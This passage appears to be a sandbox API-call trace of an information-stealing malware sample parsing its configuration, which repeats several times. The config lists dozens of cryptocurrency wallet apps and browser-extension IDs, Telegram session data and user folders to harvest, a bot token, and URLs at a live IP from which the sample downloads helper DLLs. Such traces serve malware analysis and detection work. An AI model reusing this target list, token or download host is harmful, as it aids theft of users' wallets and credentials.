Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.216] StrStrW (lpFirst="binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.216] StrStrW (lpFirst="Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.216] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.216] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.216] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension 